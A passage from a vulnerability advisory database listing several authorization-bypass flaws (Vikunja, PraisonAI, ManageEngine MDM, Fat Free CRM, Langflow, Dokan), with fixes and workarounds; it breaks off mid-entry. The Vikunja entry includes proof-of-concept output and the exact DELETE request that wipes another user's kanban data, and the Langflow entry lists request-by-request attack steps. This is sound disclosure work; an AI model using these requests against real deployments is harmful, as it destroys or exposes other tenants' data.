view are gone.       |\n  |  - Recovery requires restoring from backup.                     |\n  +-----------------------------------------------------------------+\n\"\"\")\nelse:\n    print(\"\\n  Attack did not land \u2014 patched build or unexpected state.\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n  PoC: Cross-Project Kanban Destruction via ProjectView.Delete\n  Severity: HIGH (CVSS 8.1)\n  CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\n[*] Setting up VICTIM (target)\n[*] Victim project=42, view=87, tasks_in_buckets BEFORE = 3\n\n[*] Setting up ATTACKER (any user can do this)\n[*] Attacker project = 43 (attacker is Admin via OwnerID)\n\n=================================================================\n  ATTACK: trainer-equivalent \u2014 wipe victim\u0027s kanban via own project\n=================================================================\n\n  DELETE /api/v1/projects/43/views/87\n  (Logged in as: attacker_poc, who is NOT a member of victim project 42)\n  Response: HTTP 200  body=\u0027{\"message\":\"Successfully deleted.\"}\u0027\n\n=================================================================\n  VERIFICATION\n=================================================================\n\n  View 87 still exists?           True\n  Tasks in buckets BEFORE attack:           3\n  Tasks in buckets AFTER attack:            0\n\n  +-----------------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                        |\n  |                                                                 |\n  |  An unrelated user destroyed every task-\u003ebucket assignment      |\n  |  and every task position in another user\u0027s kanban view, using   |\n  |  only a self-owned throwaway project as the URL :project.       |\n  |                                                                 |\n  |  - The view itself survives (first scoped delete matched 0).    |\n  |  - Tasks themselves survive.                                    |\n  |  - task_buckets and task_positions for the view are gone.       |\n  |  - Recovery requires restoring from backup.                     |\n  +-----------------------------------------------------------------+\n```\n\n### Impact\n\n1. **Cross-tenant data destruction.** Any authenticated user \u2014 local-auth registration is enough on default deployments \u2014 can wipe the `task_buckets` and `task_positions` rows for any view in the instance. There is no requirement to be a member of, or share anything with, the victim project.\n\n2. **Permanent loss without backup.** Tasks and views survive, but every Kanban-column assignment and every manual ordering position for the targeted view is destroyed. Vikunja has no per-row recovery path; the only way back is restoring the database (or `task_buckets` / `task_positions` tables) from backup.\n\n3. **Trivial discovery.** View IDs are auto-increment integers. An attacker can wipe every view in the instance by iterating `1..N`, calling `DELETE /api/v1/projects/\u003cown-project\u003e/views/\u003ci\u003e` for each. Each request is a 200 OK regardless of whether the view existed in the attacker\u0027s project \u2014 so the attacker can\u0027t even tell which IDs were \"real\" without watching for victim complaints.\n\n4. **Multi-tenant SaaS impact.** On hosted Vikunja deployments (e.g. `try.vikunja.io`-style setups), a single sign-up suffices to destroy Kanban layouts of every other tenant on the same instance.\n\n### Fix\n\nEither gate the cascading deletes on whether the scoped first delete matched, or re-couple `(view_id, project_id)` inside the cascading queries.\n\nMinimal patch \u2014 `pkg/models/project_view.go`, inside `Delete()`:\n\n```go\nfunc (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {\n    affected, err := s.\n        Where(\"id = ? AND project_id = ?\", pv.ID, pv.ProjectID).\n        Delete(\u0026ProjectView{})\n    if err != nil {\n        return\n    }\n    if affected == 0 {\n        // Either the view doesn\u0027t exist, or it doesn\u0027t belong to pv.ProjectID.\n        // Either way, do not cascade \u2014 return an error so the API responds 404.\n        return ErrProjectViewDoesNotExist{ProjectViewID: pv.ID}\n    }\n\n    if _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskBucket{}); err != nil {\n        return\n    }\n    _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskPosition{})\n    return\n}\n```\n\nThis makes the cascade conditional on the scoped delete actually having matched a row. As a defence-in-depth follow-up, `CanDelete` should also load the view and verify `view.ProjectID == pv.ProjectID` before granting permission, so the 404 path in `Delete` becomes a backstop rather than the only line of defence \u2014 mirroring the pattern used by `Bucket.canDoBucket` and `ProjectView.Update` elsewhere in the same file.",
  "id": "GHSA-gg93-x632-9ccv",
  "modified": "2026-08-28T16:50:34Z",
  "published": "2026-08-28T16:50:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-gg93-x632-9ccv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/pull/3239"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/6895a7765ef1667be4b79df29549d33b9e1ca9ca"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja vulnerable to Improper Authorization and Authorization Bypass Through User-Controlled Key"
}

GHSA-GGGM-V68X-QQWV

Vulnerability from github – Published: 2026-07-02 15:32 – Updated: 2026-07-02 15:32

Details

PraisonAI before 0.1.7 fails to validate that project_id in issue create and update request bodies belongs to the URL workspace. An attacker can create issues referencing projects from other workspaces, causing cross-tenant data pollution in project statistics aggregation without workspace constraints.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-58653"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T13:17:00Z",
    "severity": "MODERATE"
  },
  "details": "PraisonAI before 0.1.7 fails to validate that project_id in issue create and update request bodies belongs to the URL workspace. An attacker can create issues referencing projects from other workspaces, causing cross-tenant data pollution in project statistics aggregation without workspace constraints.",
  "id": "GHSA-gggm-v68x-qqwv",
  "modified": "2026-07-02T15:32:12Z",
  "published": "2026-07-02T15:32:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58653"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-authorization-bypass-via-unvalidated-project-id-in-issue-create-update"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GH2C-3F8J-9PH4

Vulnerability from github – Published: 2023-11-03 09:32 – Updated: 2023-11-03 09:32

Details

NCSIST ManageEngine Mobile Device Manager(MDM) APP's special function has a path traversal vulnerability. An unauthenticated remote attacker can exploit this vulnerability to bypass authentication and read arbitrary system files.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-41356"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-03T07:15:14Z",
    "severity": "MODERATE"
  },
  "details": "NCSIST ManageEngine Mobile Device Manager(MDM) APP\u0027s special function has a path traversal vulnerability. An unauthenticated remote attacker can exploit this vulnerability to bypass authentication and read arbitrary system files.",
  "id": "GHSA-gh2c-3f8j-9ph4",
  "modified": "2023-11-03T09:32:49Z",
  "published": "2023-11-03T09:32:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41356"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-7506-b4e29-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GH75-88G6-GR96

Vulnerability from github – Published: 2026-10-20 18:31 – Updated: 2026-10-20 18:31

Details

Fat Free CRM before 0.26.0 contains an insecure direct object reference vulnerability that allows authenticated users to modify or delete other users' comments because CommentsController#update and #destroy use an unscoped Comment.find without authorization checks. Attackers can send PUT or DELETE requests to /comments/:id with enumerable sequential IDs to edit or delete comments on contacts, accounts, leads, and opportunities owned by others.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-113600"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-20T16:17:09Z",
    "severity": "MODERATE"
  },
  "details": "Fat Free CRM before 0.26.0 contains an insecure direct object reference vulnerability that allows authenticated users to modify or delete other users\u0027 comments because CommentsController#update and #destroy use an unscoped Comment.find without authorization checks. Attackers can send PUT or DELETE requests to /comments/:id with enumerable sequential IDs to edit or delete comments on contacts, accounts, leads, and opportunities owned by others.",
  "id": "GHSA-gh75-88g6-gr96",
  "modified": "2026-10-20T18:31:44Z",
  "published": "2026-10-20T18:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113600"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fatfreecrm/fat_free_crm/issues/1650"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fatfreecrm/fat_free_crm/commit/3c3199328dd10414b1f039ab8e4a82fe0f3baf87"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fatfreecrm/fat_free_crm/blob/v0.25.0/app/controllers/comments_controller.rb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fatfreecrm/fat_free_crm/releases/tag/v0.26.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/fat-free-crm-before-0.26.0-idor-via-commentscontroller-update-and-destroy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GH98-4PHW-6FMW

Vulnerability from github – Published: 2026-10-07 20:36 – Updated: 2026-10-07 20:36

Summary

Langflow : Cross-user flow access and vertex execution via deprecated /api/v1/build/{flow_id}/vertices endpoints

Details

Summary

Before Langflow 1.10.1, two deprecated but still-routed endpoints in the chat API did not check that the authenticated caller owns the flow referenced in the URL path:

POST /api/v1/build/{flow_id}/vertices (retrieve_vertices_order)
POST /api/v1/build/{flow_id}/vertices/{vertex_id} (build_vertex)

Any authenticated user who knows (or obtains) another user's flow_id could load that user's private flow graph, enumerate its vertex IDs, and build (execute) individual vertices of it, receiving the vertex results in the response.

Both routes are declared with deprecated=True, include_in_schema=False, so they do not appear in the OpenAPI docs, but they remained registered on the router. The Langflow UI no longer calls them (it uses POST /api/v1/build/{flow_id}/flow), so they are only reachable by direct HTTP requests.

The issue is fixed in Langflow 1.10.1 (langflow-base 0.10.1) by #13153.

Details

In affected versions, both handlers go straight to the graph loader:

retrieve_vertices_order (src/backend/base/langflow/api/v1/chat.py, lines 81-159 in 1.9.1) only required authentication via dependencies=[Depends(get_current_active_user)]. The user was never injected into the handler, and the flow was loaded with build_graph_from_db(flow_id=flow_id, ...).
build_vertex (chat.py, lines 320-491 in 1.9.1) receives current_user, but only uses it for variable resolution (user_id=str(current_user.id)). It is never used to scope the flow lookup. The graph is taken from the chat-service cache keyed by flow_id, or rebuilt with build_graph_from_db on a cache miss.
build_graph_from_db_no_cache (src/backend/base/langflow/api/utils/flow_utils.py) does a bare primary-key lookup, session.get(Flow, flow_id), with no owner filter.

The supported replacement, POST /api/v1/build/{flow_id}/flow, already restricted the lookup to the owner or a PUBLIC flow (added in #12305 for GHSA-qj98-rhf8-v93f). The deprecated siblings were not covered by that fix, nor by the _read_flow fix for GHSA-8c4j-f57c-35cf.

Additional side effects in affected versions:

retrieve_vertices_order stores the graph in the chat-service cache under the victim's flow_id (chat_service.set_cache(str(flow_id), graph)). When the request includes a data body, the cached graph is attacker-supplied.
build_vertex schedules log_vertex_build for the victim's flow_id, so attacker-triggered builds are recorded in the victim flow's vertex build history.

Note on older versions: up to and including 1.7.1, these two routes had no authentication dependency at all. Authentication was added in 1.7.2 by #10977, but no ownership check was added. This advisory covers the missing ownership check, which is present in every release from 1.0.0 (when the routes were introduced) through 1.10.0.

Attack scenario

The attacker authenticates as any valid user.
The attacker obtains a victim flow_id (shared URLs, exported flow files, logs, screenshots, etc.).
POST /api/v1/build/{victim_flow_id}/vertices returns 200 OK with {"ids": [...], "run_id": "...", "vertices_to_run": [...]} listing the victim flow's vertex IDs (component type plus suffix, e.g. ChatInput-abc12).
The attacker calls POST /api/v1/build/{victim_flow_id}/vertices/{vertex_id} for a returned ID. The victim's graph is loaded and the vertex is built. Its results, outputs and artifacts are returned to the attacker.

Impact

Confidentiality (Low): Discloses the structure of private flows (vertex IDs and component types) and the outputs of vertices the attacker chooses to build. That includes values hardcoded in node configuration, such as prompt text or fixed inputs.
Global variables and credentials in the variable store are not exposed, because variable resolution uses the caller's user_id.
The victim's stored flow definition is not returned wholesale.
Integrity (Low): The attacker can trigger execution of the victim's nodes, including any side effects baked into their configuration (fixed endpoints, webhooks, hardcoded API keys). Build records are written under the victim's flow_id. The attacker cannot modify the stored flow.
Availability: None.

The attacker must be authenticated and must know the target flow UUID. Flow UUIDs are random v4 values, so blind enumeration is not practical.

Proof of concept

Observed on langflow==1.9.1 using the project's test client and in-memory SQLite fixtures (see the attached poc.zip):

Request	Expected (hardened)	Observed on 1.9.1
Attacker → `POST /api/v1/build/{victim_flow_id}/vertices`	`404 Not Found`	`200 OK` with vertex order payload
Attacker → `POST /api/v1/build/{victim_flow_id}/vertices/<bogus-id>`	`404 Not Found`	`500` `{"detail":"Vertex <id> not found"}`: the victim graph was loaded before the vertex lookup failed
Owner (control) → same endpoints	non-404	non-404

On 1.10.1 and later, the attacker requests return 404 Not Found. This is covered by regression tests in src/backend/tests/unit/test_endpoints.py:

test_get_vertices_returns_404_for_other_users_private_flow
test_get_vertices_with_supplied_data_returns_404_for_other_users_private_flow
test_build_vertex_returns_404_for_other_users_private_flow

Patches

Fixed in Langflow 1.10.1 (langflow-base 0.10.1) by #13153 (merge commit fb3d6ec90b). Both handlers now:

inject current_user (for retrieve_vertices_order, this replaces the dependencies-only declaration),
load the flow with an owner-scoped query and return 404 when it is not found, so a flow you don't own looks the same as a missing flow, and
call ensure_flow_permission(current_user, FlowAction.EXECUTE, ...) before building or caching any graph.

# retrieve_vertices_order / build_vertex (1.10.1)
stmt = (
    select(Flow)
    .where(Flow.id == flow_id)
    .where((Flow.user_id == current_user.id) | (Flow.access_type == AccessTypeEnum.PUBLIC))
)
flow = (await session.exec(stmt)).first()
if not flow:
    raise HTTPException(status_code=404, detail=f"Flow with id {flow_id} not found")
await ensure_flow_permission(
    current_user,
    FlowAction.EXECUTE,
    flow_id=flow_id,
    flow_user_id=flow.user_id,
    workspace_id=flow.workspace_id,
    folder_id=flow.folder_id,
)

Related hardening in later releases:

#14342 (1.11.2) applies the same guard to the sibling GET /api/v1/build/{flow_id}/{vertex_id}/stream route.
#14497 (1.12.0) makes all three deprecated vertex routes owner-only, dropping the PUBLIC exception, because their graph cache is keyed by flow UUID rather than by the executing user.

Users should upgrade to 1.10.1 or later. The latest release is recommended.

Workarounds

If upgrading is not immediately possible, block POST /api/v1/build/*/vertices and POST /api/v1/build/*/vertices/* (and GET /api/v1/build/*/*/stream) at a reverse proxy. The Langflow UI does not use these routes.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow-base"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-105698"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T20:36:25Z",
    "nvd_published_at": "2026-10-05T21:16:35Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nBefore **Langflow 1.10.1**, two deprecated but still-routed endpoints in the chat API did not check that the authenticated caller owns the flow referenced in the URL path:\n\n- `POST /api/v1/build/{flow_id}/vertices` (`retrieve_vertices_order`)\n- `POST /api/v1/build/{flow_id}/vertices/{vertex_id}` (`build_vertex`)\n\nAny authenticated user who knows (or obtains) another user\u0027s `flow_id` could load that user\u0027s private flow graph, enumerate its vertex IDs, and build (execute) individual vertices of it, receiving the vertex results in the response.\n\nBoth routes are declared with `deprecated=True, include_in_schema=False`, so they do not appear in the OpenAPI docs, but they remained registered on the router. The Langflow UI no longer calls them (it uses `POST /api/v1/build/{flow_id}/flow`), so they are only reachable by direct HTTP requests.\n\nThe issue is fixed in **Langflow 1.10.1** (`langflow-base` 0.10.1) by [#13153](https://github.com/langflow-ai/langflow/pull/13153).\n\n### Details\n\nIn affected versions, both handlers go straight to the graph loader:\n\n- `retrieve_vertices_order` (`src/backend/base/langflow/api/v1/chat.py`, lines 81-159 in 1.9.1) only required authentication via `dependencies=[Depends(get_current_active_user)]`. The user was never injected into the handler, and the flow was loaded with `build_graph_from_db(flow_id=flow_id, ...)`.\n- `build_vertex` (`chat.py`, lines 320-491 in 1.9.1) receives `current_user`, but only uses it for variable resolution (`user_id=str(current_user.id)`). It is never used to scope the flow lookup. The graph is taken from the chat-service cache keyed by `flow_id`, or rebuilt with `build_graph_from_db` on a cache miss.\n- `build_graph_from_db_no_cache` (`src/backend/base/langflow/api/utils/flow_utils.py`) does a bare primary-key lookup, `session.get(Flow, flow_id)`, with no owner filter.\n\nThe supported replacement, `POST /api/v1/build/{flow_id}/flow`, already restricted the lookup to the owner or a `PUBLIC` flow (added in #12305 for GHSA-qj98-rhf8-v93f). The deprecated siblings were not covered by that fix, nor by the `_read_flow` fix for GHSA-8c4j-f57c-35cf.\n\nAdditional side effects in affected versions:\n\n- `retrieve_vertices_order` stores the graph in the chat-service cache under the victim\u0027s `flow_id` (`chat_service.set_cache(str(flow_id), graph)`). When the request includes a `data` body, the cached graph is attacker-supplied.\n- `build_vertex` schedules `log_vertex_build` for the victim\u0027s `flow_id`, so attacker-triggered builds are recorded in the victim flow\u0027s vertex build history.\n\nNote on older versions: up to and including **1.7.1**, these two routes had no authentication dependency at all. Authentication was added in 1.7.2 by #10977, but no ownership check was added. This advisory covers the missing ownership check, which is present in every release from 1.0.0 (when the routes were introduced) through 1.10.0.\n\n### Attack scenario\n\n1. The attacker authenticates as any valid user.\n2. The attacker obtains a victim `flow_id` (shared URLs, exported flow files, logs, screenshots, etc.).\n3. `POST /api/v1/build/{victim_flow_id}/vertices` returns **200 OK** with `{\"ids\": [...], \"run_id\": \"...\", \"vertices_to_run\": [...]}` listing the victim flow\u0027s vertex IDs (component type plus suffix, e.g. `ChatInput-abc12`).\n4. The attacker calls `POST /api/v1/build/{victim_flow_id}/vertices/{vertex_id}` for a returned ID. The victim\u0027s graph is loaded and the vertex is built. Its results, outputs and artifacts are returned to the attacker.\n\n### Impact\n\n- **Confidentiality (Low):** Discloses the structure of private flows (vertex IDs and component types) and the outputs of vertices the attacker chooses to build. That includes values hardcoded in node configuration, such as prompt text or fixed inputs.\n  - Global variables and credentials in the variable store are **not** exposed, because variable resolution uses the caller\u0027s `user_id`.\n  - The victim\u0027s stored flow definition is not returned wholesale.\n- **Integrity (Low):** The attacker can trigger execution of the victim\u0027s nodes, including any side effects baked into their configuration (fixed endpoints, webhooks, hardcoded API keys). Build records are written under the victim\u0027s `flow_id`. The attacker cannot modify the stored flow.\n- **Availability:** None.\n\nThe attacker must be authenticated and must know the target flow UUID. Flow UUIDs are random v4 values, so blind enumeration is not practical.\n\n### Proof of concept\n\nObserved on `langflow==1.9.1` using the project\u0027s test client and in-memory SQLite fixtures (see the attached `poc.zip`):\n\n| Request | Expected (hardened) | Observed on 1.9.1 |\n|---|---|---|\n| Attacker \u2192 `POST /api/v1/build/{victim_flow_id}/vertices` | `404 Not Found` | `200 OK` with vertex order payload |\n| Attacker \u2192 `POST /api/v1/build/{victim_flow_id}/vertices/\u003cbogus-id\u003e` | `404 Not Found` | `500` `{\"detail\":\"Vertex \u003cid\u003e not found\"}`: the victim graph was loaded before the vertex lookup failed |\n| Owner (control) \u2192 same endpoints | non-404 | non-404 |\n\nOn 1.10.1 and later, the attacker requests return `404 Not Found`. This is covered by regression tests in `src/backend/tests/unit/test_endpoints.py`:\n\n- `test_get_vertices_returns_404_for_other_users_private_flow`\n- `test_get_vertices_with_supplied_data_returns_404_for_other_users_private_flow`\n- `test_build_vertex_returns_404_for_other_users_private_flow`\n\n### Patches\n\nFixed in **Langflow 1.10.1** (`langflow-base` 0.10.1) by [#13153](https://github.com/langflow-ai/langflow/pull/13153) (merge commit `fb3d6ec90b`). Both handlers now:\n\n1. inject `current_user` (for `retrieve_vertices_order`, this replaces the dependencies-only declaration),\n2. load the flow with an owner-scoped query and return `404` when it is not found, so a flow you don\u0027t own looks the same as a missing flow, and\n3. call `ensure_flow_permission(current_user, FlowAction.EXECUTE, ...)` before building or caching any graph.\n\n```python\n# retrieve_vertices_order / build_vertex (1.10.1)\nstmt = (\n    select(Flow)\n    .where(Flow.id == flow_id)\n    .where((Flow.user_id == current_user.id) | (Flow.access_type == AccessTypeEnum.PUBLIC))\n)\nflow = (await session.exec(stmt)).first()\nif not flow:\n    raise HTTPException(status_code=404, detail=f\"Flow with id {flow_id} not found\")\nawait ensure_flow_permission(\n    current_user,\n    FlowAction.EXECUTE,\n    flow_id=flow_id,\n    flow_user_id=flow.user_id,\n    workspace_id=flow.workspace_id,\n    folder_id=flow.folder_id,\n)\n```\n\nRelated hardening in later releases:\n\n- [#14342](https://github.com/langflow-ai/langflow/pull/14342) (1.11.2) applies the same guard to the sibling `GET /api/v1/build/{flow_id}/{vertex_id}/stream` route.\n- [#14497](https://github.com/langflow-ai/langflow/pull/14497) (1.12.0) makes all three deprecated vertex routes owner-only, dropping the `PUBLIC` exception, because their graph cache is keyed by flow UUID rather than by the executing user.\n\nUsers should upgrade to **1.10.1 or later**. The latest release is recommended.\n\n### Workarounds\n\nIf upgrading is not immediately possible, block `POST /api/v1/build/*/vertices` and `POST /api/v1/build/*/vertices/*` (and `GET /api/v1/build/*/*/stream`) at a reverse proxy. The Langflow UI does not use these routes.",
  "id": "GHSA-gh98-4phw-6fmw",
  "modified": "2026-10-07T20:36:25Z",
  "published": "2026-10-07T20:36:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-gh98-4phw-6fmw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105698"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/pull/13153"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/commit/fb3d6ec90b1e4d52eaa40915a64b1f86b6542f55"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/releases/tag/v1.10.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Langflow : Cross-user flow access and vertex execution via deprecated /api/v1/build/{flow_id}/vertices endpoints"
}

GHSA-GHFC-6WF7-MHGW

Vulnerability from github – Published: 2026-06-18 06:32 – Updated: 2026-06-18 06:32

Details

The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.0.3 via the change_order_status, add_order_note, delete_order_note, add_shipping_tracking_info, grant_access_to_download, and revoke_access_to_download AJAX handlers due to missing ownership validation on a user-controlled order ID key. This makes it possible for authenticated attackers, with custom vendor-level access and above, to modify the status of arbitrary orders, add attacker-controlled notes to any order (including customer-facing notes that trigger WooCommerce notification emails to buyers), delete any order note or WordPress comment by ID regardless of ownership, inject fake shipping tracking information on any order, and grant or revoke downloadable-product permissions on any order in the marketplace. Critically, nonce validity is not a barrier to exploitation: each of these AJAX handlers generates and embeds its nonce on the authenticated vendor's own dashboard order pages (e.g., /dashboard/orders/?order_id=OWN_ORDER_ID), which the attacker legitimately controls. The attacker harvests a valid nonce from their own order detail page and replays it against a victim order ID — the nonce only proves the request originates from a logged-in session, not that the order belongs to that vendor. This directly rebuts the prior rejection reasoning that 'users cannot generate valid nonces on command': vendor users can and do generate valid nonces on demand simply by loading their own dashboard pages. Source-code analysis confirmed the vulnerable code path is present and unpatched through version 5.0.1.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-10023"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-18T04:16:33Z",
    "severity": "MODERATE"
  },
  "details": "The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution \u2013 Build Your Own Amazon, eBay, Etsy plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.0.3 via the change_order_status, add_order_note, delete_order_note, add_shipping_tracking_info, grant_access_to_download, and revoke_access_to_download AJAX handlers due to missing ownership validation on a user-controlled order ID key. This makes it possible for authenticated attackers, with custom vendor-level access and above, to modify the status of arbitrary orders, add attacker-controlled notes to any order (including customer-facing notes that trigger WooCommerce notification emails to buyers), delete any order note or WordPress comment by ID regardless of ownership, inject fake shipping tracking information on any order, and grant or revoke downloadable-product permissions on any order in the marketplace. Critically, nonce validity is not a barrier to exploitation: each of these AJAX handlers generates and embeds its nonce on the authenticated vendor\u0027s own dashboard order pages (e.g., /dashboard/orders/?order_id=OWN_ORDER_ID), which the attacker legitimately controls. The attacker harvests a valid nonce from their own order detail page and replays it against a victim order ID \u2014 the nonce only proves the request originates from a logged-in session, not that the order belongs to that vendor. This directly rebuts the prior rejection reasoning that \u0027users cannot generate valid nonces on command\u0027: vendor users can and do generate valid nonces on demand simply by loading their own dashboard pages. Source-code analysis confirmed the vulnerable code path is present and unpatched through version 5.0.1.",
  "id": "GHSA-ghfc-6wf7-mhgw",
  "modified": "2026-06-18T06:32:20Z",
  "published": "2026-06-18T06:32:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10023"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getdokan/dokan/pull/3246"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/dokan-lite/tags/5.0.1/includes/Ajax.php#L225"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/dokan-lite/tags/5.0.1/includes/Ajax.php#L293"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/dokan-lite/tags/5.0.1/includes/Ajax.php#L378"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/dokan-lite/tags/5.0.1/includes/Ajax.php#L400"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/dokan-lite/tags/5.0.1/includes/Ajax.php#L439"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/dokan-lite/tags/5.0.1/includes/Ajax.php#L511"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/dokan-lite/tags/5.0.1/includes/Install/Installer.php#L209"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3564542%40dokan-lite\u0026new=3564542%40dokan-lite\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
